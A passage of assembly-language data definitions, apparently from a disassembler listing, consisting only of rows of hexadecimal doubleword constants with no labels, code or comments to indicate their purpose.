		dd 7AAE0270h, 0D0B799C7h, 0DE573460h, 3B0B7C18h, 0E8231B31h
		dd 0EC2EB017h, 8F9002F0h, 3CB718B8h, 2BD88C85h,	3D1B2340h
		dd 6624DF80h, 622ED83h,	0F0479129h, 7D181BD1h, 0C55A4A00h
		dd 3E017369h, 44A8983Dh, 0B34B02E6h, 0BBBA105Fh, 12A4CC63h
		dd 30D4BAF4h, 95AF44C1h, 7FA46E00h, 2C102114h, 8C17B848h
		dd 6D32530Eh, 398A0173h, 58801FBBh, 66D1E204h, 1C00EE3Eh
		dd 47F5836Eh, 0F5815FCEh, 448FF06Ch, 89F7C4E1h,	3C7F958h
		dd 3F610027h, 53548371h, 2C160ECFh, 742111C0h, 20642E33h
		dd 0CDE920ABh, 84400E29h, 0D9B2CA02h, 318A01BDh, 89AC746Bh
		dd 465CE89Eh, 6B9D05D6h, 0B01363B0h, 32608492h,	12048089h
		dd 0B2909898h, 0F2D48A89h, 0C07CEBh, 9139E05Bh,	0E64D75BAh
		dd 0C305CC90h, 63C43620h, 259DECA0h, 6C801866h,	0FDCC7DB0h
		dd 0F0455A31h, 59E2F3B1h, 181CD930h, 167E01B6h,	3A2856A9h
		dd 25B1E582h, 8E99F984h, 0A86EA581h, 0C5EC0810h, 3F81B448h
		dd 0EE1C36ABh, 881A6834h, 21C0C328h, 8902B160h,	6552027Bh
		dd 8D593957h, 4404D0E0h, 89EC2C58h, 894007CCh, 2E530A44h
		dd 11623B0h, 4D487115h,	93E46DB0h, 0B523F42Eh, 7FD5E300h
		dd 75900Bh, 6637BA86h, 460FEA70h, 44001891h, 0F2743628h
		dd 8834B3Bh, 0CD69E13Ch, 0A6AB4064h, 384C41E7h,	5F330BC0h
		dd 54BC82BCh, 8D04000Bh, 0CD18AA16h, 3E987C90h,	5E4CB63Ch
		dd 0B700DA46h, 52FE66F5h, 0D206774Ch, 455C5E9Dh, 0DE643A68h
		dd 806C0226h, 114FDD82h, 6F5F83FBh, 0DA23343Ah,	0FC5F200h
		dd 0A22B8B58h, 796479D1h, 5BF718B9h, 989C4804h,	6A2973C0h
		dd 0B0705388h, 297B0280h, 0E87A9FEEh, 5044DAF1h, 49C93Bh
		dd 902413CBh, 2DB4D012h, 0A4A40FFFh, 0BDD6076h,	0B4B825A5h
		dd 6C007416h, 0D1B90BD5h, 977ACAh, 4DDC3B84h, 56118BFCh
		dd 2E3C344Ch, 0C6487839h, 30FFF700h, 7CF40B8Ah,	4E0D75FCh
		dd 235C2F33h, 0F83E3B18h, 0A8359800h, 81FC6FD9h, 90586CF5h
		dd 8C1BB868h, 342F1500h, 666AAC0Fh, 0DDD12F64h,	1A915C17h
		dd 0F1F6D49Dh, 881CDE0Bh, 3BDDA200h, 0C62B4F5h,	644A0E29h
		dd 95F47CDCh, 0D2CF4824h, 0B867934Ch, 0FA60B744h, 0C203CE57h
		dd 0CF0D4DA6h, 5A35924Eh, 8CD752B8h, 32301DF2h,	0C87E010Ah
		dd 399544E3h, 0FE030DEh, 91413305h, 0EC8E53A5h,	0F9C716C8h
		dd 0CBE28DD0h, 3AE600C1h, 715C26D1h, 0AA50F204h, 5D2463E8h
		dd 465EC48Ah, 811100DCh, 0A3907215h, 0C1C21236h, 0B278A301h
		dd 304E30B3h, 0E1396007h, 0A700B25Eh, 0B669E90Fh, 95091248h
		dd 0EA700270h, 4C54A9B2h, 8BE4800Bh, 0C4D4C5E0h, 0F56F6127h
		dd 8AFEE0h, 400F23FFh, 85B2AFBEh, 0A3623E1Ch, 0EC172CCAh
		dd 0C29816h, 2440325Ch,	785245DEh, 0B0226Ch, 0E7F29686h
		dd 0E28FB44Fh, 0F3D19805h, 0C004741Ch, 0D213C24Ah, 651AAEF0h
		dd 6715C458h, 39FC82E0h, 4780962Eh, 454F4051h, 5882434Bh
		dd 93DE0180h, 99C5361Bh, 0A83B2B03h, 0E200B323h, 0E9FD2CC5h
		dd 0EDC80C4Ch, 0F521BE29h, 4700B1F6h, 8D1F518Ch, 17E8E573h
		dd 0C8CE7D0Fh, 0A207E468h, 6BBCDE66h, 40A6A990h, 44BCB41Bh
		dd 19C45E83h, 0A18E52h,	8E48242Ah, 0CF14886Ch, 36A58680h
		dd 0ECA022D4h, 0CB1C234h, 20F3E409h, 0E969D670h, 811703B6h
		dd 3B55C87Ah, 57E01D8Ah, 0A1006FB2h, 560ED167h,	45870ABh
		dd 0A9C5B89Ch, 7E88ACE8h, 0E4AAF02Bh, 8330D70h,	781BE13h
		dd 8EC53505h, 0D8E540D1h, 1BC2A189h, 94BA39C0h,	0FA7A4400h
		dd 53E8F8A6h, 0C1B62C60h, 0E3891210h, 30B9E298h, 860144B4h
		dd 88E836B0h, 0B46380BAh, 0E830B8A2h, 3E5B3B0Eh, 470CA1Eh
		dd 0E290F48Bh, 30DFE2C8h, 28001CDBh, 4F8FB158h,	25F56B69h
		dd 0DCC912AFh, 1C4910C2h, 0AA2400D1h, 9B2F6FF2h, 0DE04772Bh
		dd 6B7F56Eh, 0EE849CBCh, 0AC2C018Fh, 2C20BCB9h,	0DC9B1392h
		dd 23B83A69h, 6EDF0018h, 0C6DDD9E7h, 8244431Eh,	9DC75C9h
		dd 91CCE70Ch, 3E661CBCh, 65CFEBC5h, 9C2E1402h, 9B98F0E1h
		dd 75B80234h, 0A8D3ED5Dh, 5FE45CBEh, 0D523482Fh, 9F94973Fh
		dd 24E23004h, 5FC6A01h,	0C022AC8h, 0CDD8FD17h, 0A283C170h
		dd 0BA3DE8E3h, 0E7407D73h, 0C70E004Dh, 0CD7B1577h, 0A516DEC1h
		dd 8CCBA926h, 0B9C01888h, 259764Ah, 66A54B48h, 8881EBB0h
		dd 3C21C5AEh, 0B6C13E0h, 30AD9020h, 3B1F0BFEh, 14029512h
		dd 9C582175h, 0D07B1A16h, 0D81EF000h, 14CB6D6Ch, 84A771A2h
		dd 0B6198804h, 22A4E88Bh, 96EE0E23h, 5940C7E4h,	0BBE6DA63h
		dd 98844800h, 0A17C5AB9h, 781501F2h, 43D9DB8h, 0E81C6C4Fh
		dd 9A048CB0h, 0D9F6E57h, 0AD392781h, 0B1A24C63h, 3B377130h
		dd 1A004149h, 95D9E648h, 3812D80Bh, 0FCE203CFh,	5D3222F2h
		dd 0F7F67300h, 5028A5EBh, 4300100Ch, 0A0865E8Eh, 1E24F5C8h
		dd 4074DAFAh, 21C21CA4h, 0F805E604h, 9FB602C7h,	41F0B401h
		dd 9D008F5Fh, 409981BAh, 0C618B4D1h, 1B1AFF02h,	0D965BF7Dh
		dd 0F18D0F10h, 3ECB04D0h, 18834418h, 14F4A458h,	806C52BFh
		dd 0D27E3500h, 0AD65AC6Dh, 0E854A0D4h, 2B258C14h, 0D22CCB49h
		dd 58520E8h, 7008A7DBh,	16A25E04h, 0E5D880CFh, 0C8A20143h
		dd 0B5E458E5h, 4CC54260h, 0CB6CC26h, 91F097A5h,	5194801Ah
		dd 7B263D0h, 988EA3E9h,	8002C474h, 0A6674164h, 0B7E1092Dh
		dd 38BC80ECh, 0C9334D76h, 8BE4CA17h, 35836CC1h,	53BA8500h
		dd 7696D09h, 70C45B46h,	7229D5D6h, 2100C84Fh, 2C1DE482h
		dd 64280069h, 0C93223C1h
		dd 0F83B9B4Dh, 512A0013h, 340FE581h, 7CDE1246h,	0C87CCB74h
		dd 383BC621h, 6FF0F1Eh,	4789BF44h, 306F5C80h, 5A3C900Ah
		dd 0B9AC6266h, 42433118h, 66DF8033h, 4A175A41h,	91ECC86Dh
		dd 5E378500h, 0A4D095F1h, 10534C46h, 28CB9E8h, 0B46AC282h
		dd 0FC58B6D1h, 5BB00E13h, 2F4FA4F3h, 0DF237Ch, 0F0D87DBDh
		dd 0B2004C07h, 0FCF59431h, 0C6C4E532h, 0D1470BC9h, 0E1C06B01h
		dd 0C92C3849h, 77C42F3Ah, 0FEDE008Ch, 6A11A2A9h, 9A2DC604h
		dd 45FC340Bh, 88F04E10h, 0B9A6C71Ch, 3D8C2E80h,	0EC25FBE3h
		dd 8B404033h, 25632031h, 35FC7013h, 0B5C000B0h,	0BAA31010h
		dd 0F14158B0h, 0A6AA57C5h, 0F68A7510h, 0E8F0808Eh, 6E490F1Ah
		dd 11C41D39h, 8D1580D7h, 0F44B31BAh, 0E0074852h, 480E4506h
		dd 0EA1329D3h, 1481BDBAh, 28286828h, 3C30DEF9h,	0F4540061h
		dd 17CCBFC1h, 0FE0E439Fh, 36EBC5EDh, 203F04CDh,	0A79DDBF8h
		dd 0C041AA00h, 5C8D3D1Fh, 29AC6228h, 3420EBE4h,	3A66E943h
		dd 0FC769DCAh, 500BAA0h, 9494663h, 0B10B32Eh, 336FCF4h
		dd 151F1030h, 0E40E4E28h, 2146500h, 0F1A11830h,	63950B00h
		dd 0BC5EE9DDh, 3E921882h, 40A628CEh, 0E8942158h, 7E138C21h
		dd 0BCF53648h, 46460860h, 0C884F03Fh, 3D660FEAh, 1A8039BFh
		dd 6306745h, 0C1CBD8C0h, 4BBA40FEh, 883CDA3Fh, 0C4F6C7D5h
		dd 5444877Ah, 443D0096h, 999F52h, 0B2D28BB7h, 0A47ACF60h
		dd 9D0FD00Eh, 0F40596A3h, 0B4A2B79Eh, 273019F2h, 25760F2Dh
		dd 0A267FA1h, 2F164165h, 0E04B757Ch, 280C821Ch,	0B95421BEh
		dd 8B6AE016h, 7C6B9B01h, 64973285h, 153F66CDh, 32B898C0h
		dd 9C05861Ch, 89C00740h, 9A815619h, 58FB2ED8h, 5100DEC4h
		dd 2DAF5F5Ah, 13ACE6B9h, 253A7BDDh, 0F20CF2E8h,	0CB9B3027h
		dd 0C25E9203h, 0D86C173Ch, 13433ABAh, 210DC037h, 2E910B28h
		dd 0DE23EC2Eh, 0C4488A00h, 8EF3AEh, 1EFCEA55h, 0E4C18DB8h
		dd 3CD0C8A2h, 465E649Ch, 0EF3F001Ah, 0B796F834h, 0EBE77D0Ch
		dd 0B68F23D8h, 0EB4B023Ch, 0E09790F4h, 0D687E091h, 0E7028010h
		dd 277E467Dh, 25FC3712h, 3B309CC0h, 8BCD09B3h, 7084A3D4h
		dd 177340BDh, 0D7FAE4h,	0AF31E783h, 0E1E002F2h,	750B1802h
		dd 0A7390C61h, 0A0EF93C0h, 0DC6D3A92h, 96250BD3h, 681066BFh
		dd 3B5ADE64h, 0DBC87CCBh, 0BFF9AFE0h, 0FC6F1EF1h, 0BCE5E729h
		dd 91AC95A5h, 7AB482D5h, 5740E090h, 0BB8B925h, 7046633h
		dd 0CCB080F8h, 6316617Fh, 1CA6B04Dh, 15BD2EE0h,	734F8612h
		dd 870C0C08h, 504D6A6Ch, 9CF436Fh, 3351BA07h, 0E990DE65h
		dd 0B6B7420Ah, 200B8A54h, 844340B4h, 2100B832h,	82A75239h
		dd 7BA657h, 894D4476h, 0B0F56DFBh, 47CA0525h, 6014646Ch
		dd 2E6C54DFh, 61C8C5F5h, 2EF619h, 17FCDB2h, 0E069F9FFh
		dd 0E3DF35BFh, 0F52ECF98h, 709C919Fh, 0F8600B21h, 38134018h
		dd 0D5CD8C16h, 4F431880h, 71663B44h, 0C42890h, 0E0D83C3Fh
		dd 37BD26Fh, 6EA50DD5h,	402FEAA0h, 0E5C41264h, 602864B8h
		dd 7009B947h, 0C57F60Fh, 42B8F555h, 6E72D1E1h, 65F3DD7Fh
		dd 639BF14Ch, 331DA274h, 2F74CB90h, 7ECD3100h, 579A1047h
		dd 0C96B27BFh, 0B0D6D042h, 1D465Eh, 4DB9FF95h, 7FCBE9h
		dd 0C5B8538Bh, 454F01E1h, 5082154Fh, 791851CCh,	8C819DEh
		dd 0F4840071h, 6D1DFB48h, 814AB22Ah, 0D988588Eh, 9B5F1EC0h
		dd 8F0D09BFh, 50F8FC1Bh, 2BB83955h, 175D86Eh, 153069E6h
		dd 0C08E9FF4h, 1B1340A7h, 0F4B52867h, 60D4DBD4h, 0B3442A48h
		dd 65002DB1h, 0A867809Bh, 24939E98h, 3CD7C4h, 866DD9E2h
		dd 75011006h, 0BF44EFF6h, 9C7CB367h, 4EDD82Dh, 10222760h
		dd 0E158010Dh, 0FCF3D352h, 44322B38h, 40D07E68h, 0A3CEC95Ah
		dd 42BC7000h, 9AEAA08h,	428F2F6h, 0FC43E55Dh, 8840FD64h
		dd 0D6506A83h, 0E186D200h, 95AEC99Bh, 0C0CA5E61h, 293D3CDCh
		dd 4D99A460h, 475FF35h,	80BAB12Dh, 1E4B9E4h, 38F71C8Dh
		dd 65F85337h, 286400F3h, 7A6058FDh, 40009291h, 4E81DA19h
		dd 3BD1AAh, 2943DE61h, 2BD558BAh, 5490AC4Bh, 7EFE31F2h
		dd 805C9CBFh, 6FD4974Ah, 5100ED98h, 0FD04067Bh,	349491h
		dd 634A03C9h, 4443F899h, 597DBA12h, 3DC31CA0h, 0C7DE5C36h
		dd 0F0F2C944h, 9CEBFC2Ah, 0A5946621h, 2164A4E5h, 0C05E4760h
		dd 0C563D601h, 46A4B031h, 0E1348BD6h, 4C633FB0h, 3304F409h
		dd 1C59FCF3h, 31090D18h, 0C4F3D6D7h, 118A0890h,	820F94FEh
		dd 4B0C1E6h, 0C5CB90BFh, 502ECEDh, 1F9101E8h, 19444CE7h
		dd 0F989B560h, 0FDF9F772h, 3088480Ah, 0A6772C00h, 0A280029Bh
		dd 0A00400F7h, 57D0C1BAh, 5F054E28h, 0C703F43h,	2256C84Fh
		dd 7921EF3Dh, 18B77964h, 15D9280Fh, 60DF00C0h, 70C3C676h
		dd 0A05A3204h, 0B42E4C17h, 0E2801623h, 3BB8DB20h, 2D6E30BFh
		dd 0CD75B9E1h, 0C8ECC955h, 37BF62ABh, 2A170068h, 0AEAC7963h
		dd 395D0890h, 1F8BC24h,	3612F9A2h, 78B4F3F0h, 8DC2C4E8h
		dd 75B8B103h, 6FBCE0B5h, 37E20B02h, 0E45803CFh,	0B020773Ch
		dd 489D006Dh, 415F38D2h, 8B17B5DCh, 0A09A910Dh,	5E3735C0h
		dd 2201188h, 3310123Bh,	0E2E4F33Fh, 0A2873014h,	8024E55Ch
		dd 0BAA4D849h, 574C009Ch, 0F27A1070h, 0B7972012h, 9EDD0030h
		dd 25B5ECBh, 7C2D703h, 0A2498DABh, 0D9285190h, 293718D7h
		dd 0BCCC6F5h, 8D883940h, 0BACA02CCh, 8955C40Dh,	2F440404h
		dd 0F489405Dh, 8376098Ch, 0E577A301h, 90C5E80Eh, 0B0A23823h
		dd 132330h, 4A11803Ch, 4D7F905Ah, 61EB0E05h, 98007655h
		dd 2908866Ch, 774403ADh, 0D0B1AADDh, 1088E89Dh,	8C07A7C1h
		dd 59220849h, 2D086456h, 0F1C213A3h, 0F23C321Ch, 9888301Eh
		dd 449F4A26h, 0A0B46627h, 82BA7AE4h, 3E02545Ch,	0B5C7C889h
		dd 28168034h, 0EA6F59DDh, 0EC88AA5Ch, 85008CD5h, 157FE130h
		dd 0FC12193Ah, 40482567h, 0D47EA060h, 0C0479000h, 7BCB54EFh
		dd 9C051276h, 8870E0A1h, 93A74112h, 8DB20042h, 0DC5409BFh
		dd 0CCD0176Fh, 0F214270h, 0F755C2D6h, 110BE200h, 40CB2656h
		dd 0C6980504h, 70A0C0E7h, 6612A589h, 0A4A40EC4h, 0FF140C9h
		dd 0DA05E101h, 7C70B8Ah, 0C108B2Bh, 0F8E11355h,	3F19C9BFh
		dd 0AF78105Ch, 3ECB8002h, 1F106C20h, 2D190A65h,	0B085A081h
		dd 0D06EFC57h, 0DB318B0Ah, 5E050C23h, 40B8DA18h, 4D17F320h
		dd 0C8244709h, 6BAAh, 0AA9D4B5Bh, 5155B46Ah, 57CAA4C1h
		dd 52CD2804h, 9AFE6004h, 0B046801h, 28882BBAh, 94E8825h
		dd 0DC4031DEh, 1C0DF8DBh, 9ABC004Fh, 68C03E66h,	0CF600B6Eh
		dd 0AD8DAFB1h, 7C8C1DAh, 43113966h, 510746A4h, 0D19437C7h
		dd 9D01DB0h, 0B919C17Bh, 59C9057Dh, 60E7DE1Ch, 846029E4h
		dd 0DDF4EFEAh, 44908B00h, 577FCD93h, 3EBA265Fh,	0B81360B8h
		dd 841DE397h, 7B02BEB2h, 0C0122748h, 5BB59DC5h,	0C800CEDDh
		dd 0B425C0B6h, 8C2A983Bh, 4D0B8C01h, 3E44C9h, 6C1CD54h
		dd 12F45B27h, 0C8F48B34h, 0C66C01Dh, 2134376h, 34300E5Ch
		dd 40D9AC6Ah, 0D602DDBEh, 480E3327h, 0F8547846h, 2B49C037h
		dd 0E3A2E915h, 821D9400h, 4E81AEFEh, 1E760171h,	0E1954608h
		dd 97C0ADEFh, 80B5910Ch, 0BCAB255Eh, 6ACA0C1Eh,	0CF9995FCh
		dd 58A47609h, 7B342010h, 3D0F975Fh, 590061C1h, 5DA84A8Ch
		dd 2312CFE4h, 9C9328ACh, 88EB097h, 0BE8200FAh, 40F986B4h
		dd 5100FDC6h, 90AF6BDCh
		dd 2672B0D7h, 1E1365A3h, 60652FC7h, 0F86028C4h,	0EC3E8ACBh
		dd 0DCF924D8h, 3D6C0607h, 0CBBE04F2h, 0E950E814h, 0F01DB545h
		dd 0DD83B311h, 53C0A9EBh, 0ED136D64h, 0CC95430Fh, 1CEC74FCh
		dd 1A39388Ch, 0A19BFD81h, 20F64093h, 4F88D77Ch,	0C26B3AA9h
		dd 0B8E14480h, 0D3E39851h, 5CBA130Eh, 0EA9B675Ah, 7FC3F21h
		dd 64B6C30h, 5891E8B0h,	0DC006911h, 0B4957D92h,	10E0F1h
		dd 0EF0E108h, 0E3337B3Eh, 9816974Fh, 13C80CCBh,	440FB6C1h
		dd 313E8449h, 0FCDE7F84h, 430583B8h, 0C828EFFEh, 0BF3DE881h
		dd 0CB60643Fh, 0C01B88A8h, 667930C2h, 69F6450Fh, 17D9E9A3h
		dd 8022911Ch, 0E5CF30ABh, 0B8B8A8F4h, 146A0025h, 37494F6Fh
		dd 0D507B0D1h, 89B9F1E8h, 6CB9C767h, 30FC23A8h,	450B1426h
		dd 4188CADBh, 3F6CD9Ch,	8BB092E6h, 0C01206D3h, 3040BA29h
		dd 71CF639h, 94540041h,	0F1448642h, 2F02EB57h, 34A45D18h
		dd 30205758h, 0B3C8C5E5h, 0F983EC0Eh, 250900CFh, 27BFE08Bh
		dd 0E8813968h, 280DC5AFh, 836602BCh, 0F11155DEh, 18B7F190h
		dd 0E4671676h, 32C8C864h, 2DF13Ch, 0BE156E99h, 3D1A56ACh
		dd 0FE820BE0h, 350ADE52h, 73D34520h, 0FAE622h, 8593444h
		dd 0A8B347FDh, 4A00D94Ch, 6C3844E2h, 34873614h,	0D0EFE415h
		dd 0FAA46700h, 72D45D17h, 1A7883F8h, 0BAA3741Dh, 8A7800AFh
		dd 0B234EA19h, 623E25E0h, 507054DBh, 3DB20029h,	542019B5h
		dd 0CF16D396h, 64E6AADDh, 147101B0h, 385F2012h,	98E05819h
		dd 19E50F10h, 3B4F63F0h, 10751CC8h, 964EE68Dh, 9B09B46Fh
		dd 58F2E4B1h, 720F8F03h, 98BBE17Eh, 0EAB0EFh, 38207408h
		dd 0CF3A3E88h, 72198B17h, 2A4B4F0h, 65BF588Ah, 79DF40E5h
		dd 181DD119h, 18C50082h, 35E14C58h, 480E095Dh, 60F78B66h
		dd 0F60D98Ch, 38F37CB7h, 0E981298Dh, 0C1F66105h, 9784F404h
		dd 9AEA4FD7h, 1E3DC0B1h, 18FFECDAh, 5E0BED95h, 0A717BE66h
		dd 0CBAA5B12h, 0C016880Fh, 89DB5248h, 0E7D5953Fh, 3BF2B52h
		dd 0C07A985h, 8343D10h,	86350F32h, 0F6FE3F36h, 8019B061h
		dd 3D30FCB4h, 8301E02Fh, 9B5036Bh, 0CAB87E27h, 0A96B8BCFh
		dd 37ABCBDDh, 0E7F5C1A2h, 3AD8A5C3h, 11823A3h, 0E8942D33h
		dd 3985C401h, 0C6C7F7CEh, 0A0C1EA1h, 700837B9h,	7EFA18EDh
		dd 3D62BD81h, 0A207D02Bh, 23288587h, 22BEFFFCh,	74125CBDh
		dd 0B3001946h, 8B471274h, 0B550FFF4h, 0B60E827h, 8C9E3929h
		dd 57560116h, 8593A209h, 11D641E6h, 435E0206h, 0B7C98E0Eh
		dd 0ED6C6D4h, 28CD61D6h, 0E8B57081h, 24F97B90h,	6600ABACh
		dd 8ECFCC34h, 0AE2BC20h, 53F8BF0Fh, 0C39964F3h,	1DA1B0A1h
		dd 0B4F6F4ACh, 9E3D6F00h, 0BD8B5FE8h, 0CC236AA1h, 2806119Fh
		dd 2D418F89h, 2EDDFE88h, 0E5221A28h, 0BEF25F32h, 81607B20h
		dd 9C2809C0h, 0D0021FCBh, 0E807109Dh, 9E2594Ch,	0D0883A64h
		dd 0A3D12780h, 1E006884h, 4DE5F59Fh, 76998B8h, 616059B9h
		dd 8E0F2258h, 0DEBFCF90h, 0E33E083Fh, 4805B188h, 0C8300979h
		dd 8F8DE280h, 8B690102h, 0F27D59Dh, 0B07AD287h,	80612B1Dh
		dd 5B50D93Ah, 23452EFAh, 0BBCA001Bh, 0A5AA9C3Ch, 66776401h
		dd 20CFF681h, 0A9D8641h, 59950100h, 2BBFACA8h, 0A101B3Dh
		dd 97D1BD89h, 7D3575AFh, 0C6704298h, 0BF5A172Ch, 9DD0067h
		dd 0FFF882E9h, 0F3728BE2h, 6BFAC15Bh, 0A5FD0047h, 8DF15EBDh
		dd 0C17FFEBh, 12FDE74h,	0FBB577B2h, 0F33C6080h,	91D38E80h
		dd 90D7804Dh, 76413D18h, 5900547Fh, 57C9A8B4h, 108DF902h
		dd 7221E585h, 50350660h, 2FF3C37Ah, 205DA7D9h, 833B8ECCh
		dd 4A233EA5h, 3C1A6C00h, 9007244Dh, 0FB243198h,	4676B250h
		dd 2EAA011Bh, 72AEFD32h, 3CBEAFF8h, 37B5F819h, 5FB6EF50h
		dd 0DCBA70B7h, 0E82437D3h, 0E10966CAh, 5028930Eh, 90EDD7FAh
		dd 575EBF6Eh, 0A0E4398Fh, 2D40B921h, 0FDC10453h, 8012F07Bh
		dd 8B1A6790h, 17C58516h, 0C0838A47h, 0CDBD444Fh, 5790C490h
		dd 89525050h, 66310F0Fh, 5A83EBBFh, 0EBEF5F58h,	8A607501h
		dd 4E90E11Fh, 0C71B88F7h, 0E6E4F0C8h, 201C26Dh,	8542BE9Ch
		dd 24201D6Bh, 7AA720CEh, 11B5291Ch, 0A6937C68h,	1C9C0878h
		dd 41D420B6h, 880F1728h, 10716306h, 0DB4816DDh,	920AA110h
		dd 77B76Bh, 9A23B5CDh, 37A17998h, 11BD010Dh, 7720542Fh
		dd 0ECAD2FBFh, 7E5B7FDh, 0E031E475h, 1205DE8Bh,	0A09F0E2Ch
		dd 22030908h, 48BA099Fh, 0D598870Fh, 92FF759Dh,	0A6ABD3E5h
		dd 0B209B04Eh, 2ED84C0Ch, 2F582D05h, 89B8816Eh,	0B8990406h
		dd 577528E1h, 894EED7Ah, 335B20A3h, 0D30D69B5h,	86EC3C2Eh
		dd 373BFE6Bh, 0FD808131h, 8C7C39E4h, 0A71E6D9Ah, 791299Dh
		dd 0BAF60797h, 4E347E4h, 0E60B1601h, 0DB738524h, 0BD962FC2h
		dd 105F0243h, 0AA424761h, 30F13441h, 3D3095B1h,	83F2912Bh
		dd 1B8E28BDh, 84FAC48Ch, 0AC0A530Ch, 6146AAD1h,	94F85C17h
		dd 0B7B81941h, 18F5602Fh, 0B057D4EBh, 37C733B7h, 781A6170h
		dd 0FD4F1651h, 0F4BDBD50h, 2900D6D6h, 9F74DE98h, 62A1AC8Bh
		dd 2AF55E2Ch, 114E5008h, 8DBD310Bh, 1B2842F5h, 35E410C3h
		dd 23810726h, 762EFEFFh, 66F8D901h, 7220DB8Ch, 0F6194049h
		dd 0E408C34Ah, 1C467E69h, 8D669200h, 659A4ECEh,	0E8D28B14h
		dd 71B90257h, 822CAB24h, 515EF0DAh, 740EA4F7h, 4A0B1746h
		dd 0E5803DA9h, 7E7FC2BEh, 0B0506A26h, 6238C60Fh, 6AC98D89h
		dd 6AD7623Fh, 15CE40AEh, 29B0812Dh, 0BBBCF9h, 3FABB545h
		dd 218C9F1Fh, 0F7DAC261h, 0B54070E6h, 0C471E4F1h, 1E233D84h
		dd 1CD8B6CCh, 6BA2FF3h,	91F41D55h, 0F198801Ah, 3DA1DA7h
		dd 0B5011C29h, 66240809h, 2812FE23h, 0A6EF29D5h, 0FFD3B282h
		dd 3000BE72h, 2504E08Ch, 0E2A17BACh, 5E74148Fh,	1110A66Ah
		dd 0EC4781Fh, 0C1022549h, 89ED04E8h, 759392E0h,	0C1AF08A0h
		dd 7E8008E9h, 4537861Bh, 0BC8A05C9h, 6BE2F766h,	117076Fh
		dd 0AC3CF19Dh, 41D8482Bh, 8C1AE8h, 0B72C9A4Fh, 937D7B68h
		dd 0DA8B600Ah, 0D70037E8h, 3E22CB86h, 0D12C1F9Ch, 0FD93CB7Fh
		dd 51BF1B01h, 0E6E1E4FEh, 5961601Ch, 89EB5097h,	93955299h
		dd 0BCD2240h, 0AFA15182h, 82F9B5DDh, 39639BABh,	60A6A95Bh
		dd 31B465Ch, 1916396Eh,	0ED4CE999h, 49510020h, 6B93AD02h
		dd 0D10300F9h, 1906E364h, 0A4222CA9h, 318B3EC1h, 0E8DF4194h
		dd 0C569DDh, 0EE7F057Dh, 9304B7Bh, 0DC74851Eh, 0B156B882h
		dd 1DC6422Ch, 801C1193h, 7F37F006h, 80072420h, 0B860051Ah
		dd 28F681ACh, 30EE2161h, 0AD4E466Ch, 613CA80Fh,	24E830Fh
		dd 9123432h, 72FD3731h,	904B9DB5h, 27F6B2E4h, 250118BAh
		dd 29DE9303h, 181C71A0h, 0C1F81F35h, 0D1B0C234h, 0D8C0DAFBh
		dd 0CD912745h, 23A7609Dh, 0E0AFE410h, 39E46A9h,	2DFDABA3h
		dd 5AD8332Eh, 8B3D3B74h, 24AF5985h, 8180BC61h, 6B842CD7h
		dd 9BD8FA6Ch, 0EDA47863h, 846C7900h, 0BD0B9B23h, 580C4025h
		dd 0DC65B4h, 2161626Fh,	9B1F1BFDh, 0A017A730h, 0B281880Fh
		dd 0B85CBFEDh, 727500D6h, 0FDA033B9h, 423C35C4h, 70AE5DACh
		dd 0C78A193h, 0B590031h, 66D0B441h, 0C17083F9h,	0D1785A93h
		dd 3D0703F3h, 0A9A7CDA6h, 853360D0h, 0AA2C0528h, 3B61F801h
		dd 0FB860FD9h, 0F08B3BA7h, 61C16DDDh, 6CF5B745h, 69A98803h
		dd 0D580A635h, 7F1994DCh, 0F385D52h, 0D21D5B8Bh, 3A801811h
		dd 4D1EA6ACh, 8360E996h
		dd 0DBC9D4h, 3FE0D81h, 0A678E609h, 0DC67D200h, 2B61378Eh
		dd 0C410B6C3h, 8531423Bh, 93B4EB0Dh, 0AA174A58h, 0EFC51C9Ah
		dd 29DD831Dh, 40BAE95Eh, 7E1A0699h, 2317F13Ch, 0CEEA5FB6h
		dd 0C018883Ch, 1AD1A18Bh, 0B533EF05h, 35B7090Dh, 7AADD149h
		dd 88D332E9h, 67000630h, 0A26EEF0h, 446454h, 1A92D0C0h
		dd 1985C762h, 730939B2h, 0CD1FEFB7h, 53BCC040h,	2E091046h
		dd 8499B9B8h, 0B459B6h,	0C78100C0h, 5BAEB7F4h, 855F8960h
		dd 66B600ABh, 611DABBBh, 23797EB6h, 0C4B4FA15h,	86FB001Dh
		dd 8BFD1117h, 0A4003F4Ah, 0FD62118h, 2DD8DA22h,	959953D1h
		dd 5F0A6451h, 0F54BD8B1h, 8AE01D67h, 69B529A6h,	0DCB047ADh
		dd 0F62FB70Fh, 3AB5D790h, 10254080h, 2DBD29B7h,	0F29D32B5h
		dd 64801B91h, 4E5A891Dh, 230E2E17h, 0DD73DAEAh,	2E8D0CBh
		dd 9F07BD56h, 801D1199h, 14102CCDh, 269E0553h, 0EB1FA8FAh
		dd 6230B4A5h, 94BB00A2h, 0AC68C6Eh, 38503AF4h, 5F04F2D9h
		dd 276D9501h, 0F200600Bh, 870F3AE5h, 0BD47229Ch, 20D464EBh
		dd 610B1679h, 43919529h, 0F3502C06h, 1646748Ch,	912FC70Ch
		dd 88A1F842h, 5506C37Dh, 0CDCEF781h, 6DDE160Ah,	6EE430CAh
		dd 4B00C119h, 1CE195B6h, 1EA9CC2Eh, 1F9591Fh, 0F7DEE918h
		dd 9509C4FFh, 0E5C07579h, 5DAFE6BEh, 1CB94E4Dh,	0D6818715h
		dd 2F73206Ch, 0E52F8D21h, 3FBE3D01h, 8A07EA8Eh,	73E43F20h
		dd 0E37928BEh, 795C0965h, 776695A1h, 0A2F472F0h, 9504D07Ch
		dd 0E80A9967h, 7EDD88h,	0A3CE8868h, 310FBB9Bh, 45665A00h
		dd 0E01170B2h, 998D2513h, 56A2B40Fh, 5972800Fh,	0B5CB804h
		dd 0C0C477A5h, 1823816Bh, 3BFEF500h, 39603E13h,	0B1D0CB8Ah
		dd 6F8C0E98h, 83226173h, 416101E1h, 0B73BAF1Eh,	5E62067Dh
		dd 0AC8AB288h, 70CDFBFFh, 0DD312346h, 8D859668h, 53445C28h
		dd 0AE2FD243h, 0E8B00CA6h, 2B16F0EAh, 0CE30385Ah, 159332h
		dd 33C0DD0Bh, 2AD40E99h, 19CC7E02h, 0F9F5A187h,	0E2818098h
		dd 476F578Eh, 3760612Fh, 9B9E000Ch, 6DE361D4h, 858B1D04h
		dd 871432A9h, 0E33FB7D4h, 8586F24h, 467C26BDh, 0ADE50019h
		dd 0A44EB018h, 0E27EBD53h, 0BAE98680h, 11F0F09h, 5696BE6Fh
		dd 6C658D89h, 5F581307h, 1DF44706h, 7912786h, 0F039EBDh
